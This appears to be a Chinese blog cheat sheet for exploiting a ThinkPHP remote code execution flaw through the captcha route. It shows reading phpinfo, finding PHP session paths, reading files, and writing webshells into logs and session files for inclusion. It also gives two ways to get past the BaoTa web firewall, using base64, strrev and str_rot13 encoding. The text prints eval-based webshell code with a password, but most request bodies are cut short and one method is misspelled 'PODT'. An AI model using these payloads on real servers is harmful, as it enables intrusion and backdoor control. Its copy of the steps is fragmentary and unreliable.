多谢大家这一年的照顾和喜欢,这是我应得的
在phpinfo
里面搜索session.save_path
,可找session保存的位置
session路径
1 | /var/lib/php/sess_PHPSESSID |
RCE读取PHPinfo
1 | POST /index.php?s=captch |
设置 server[REQUEST_METHOD]=-1
可以看到phpinfo全部内容
gethostbyname函数打dnslog
1 | PODT /index.php?s=captch |
文件读取
1 | POST /index.php?s=captch |
写shell进日志
1 | POST /index.php?s=captch |
包含日志文件
1 | POST /index.php?s=captch |
正常session包含写马
写马
1 | POST /index.php?s=captch |
包含 session 文件
1 | POST /index.php?s=captch |
突破宝塔session包含写马1
写马
使用 php://filter
、base64
两次编码和 strrev()
反转函数绕过
参考文章:https://www.cnblogs.com/wkzb/p/14156026.html
1 | POST /index.php/?s=captcha |
写入马的内容为:<?php @eval(base64_decode($_GET['r']));;?>
包含
1 | /index.php/?s=captcha&r=cGhwaW5mbygpOw== |
&r=cGhwaW5mbygpOw==
明文 -> &r=phpinfo();2tset505_sses
为反转后的session文件 2tset505_sses/pmt/=ecruoser
前面的/pmt/
为反转后的session文件路径
突破宝塔session包含写马2
写马
通过 str_rot13
函数+变量引用绕过
1 | /?s=captcha |
加密字段为 eval(base64_decode($_POST[setup]));
密码:setup
包含
1 | /index.php/?s=captcha |
&setup=cGhwaW5mbygpOw==
明文 -> &setup=phpinfo();